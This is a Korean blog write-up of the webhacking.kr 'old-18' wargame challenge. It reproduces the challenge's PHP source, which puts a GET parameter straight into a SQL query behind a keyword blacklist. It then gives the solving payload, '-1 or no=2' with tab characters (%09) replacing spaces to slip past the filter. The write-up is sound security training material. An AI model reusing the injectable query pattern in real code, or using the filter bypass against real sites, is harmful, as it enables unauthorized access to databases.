반응형
문제
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 18</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
input { background:silver; }
a { color:lightgreen; }
</style>
</head>
<body>
<br><br>
<center><h1>SQL INJECTION</h1>
<form method=get action=index.php>
<table border=0 align=center cellpadding=10 cellspacing=0>
<tr><td><input type=text name=no></td><td><input type=submit></td></tr>
</table>
</form>
<a style=background:gray;color:black;width:100;font-size:9pt;><b>RESULT</b><br>
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2
if($result['id']=="guest") echo "hi guest";
if($result['id']=="admin"){
solve(18);
echo "hi admin!";
}
}
?>
</a>
<br><br><a href=?view_source=1>view-source</a>
</center>
</body>
</html>
문제풀이
쿼리문을 실행하는데 반환하는 id 값이 admin일 때 문제가 해결된다.
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2
if($result['id']=="admin"){
solve(18);
echo "hi admin!";
}
위의 주석에서 볼 수 있듯이 admin의 no는 2이다.
select id from chall18 where id='guest' and no=-1 or no=2
id = 'guest' and no = -1 -> false
no = 2 -> true
no = 2인 id, admin이 출력된다.
/?no=-1%09or%09no=2
반응형
'write-up(web) > webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-20 (0) | 2023.11.02 |
---|---|
[Webhacking.kr] old-19 (1) | 2023.11.02 |
[Webhacking.kr] old-13 (0) | 2023.10.18 |
[Webhacking.kr] old-12 (0) | 2023.10.17 |
[Webhacking.kr] old-11 (0) | 2023.10.17 |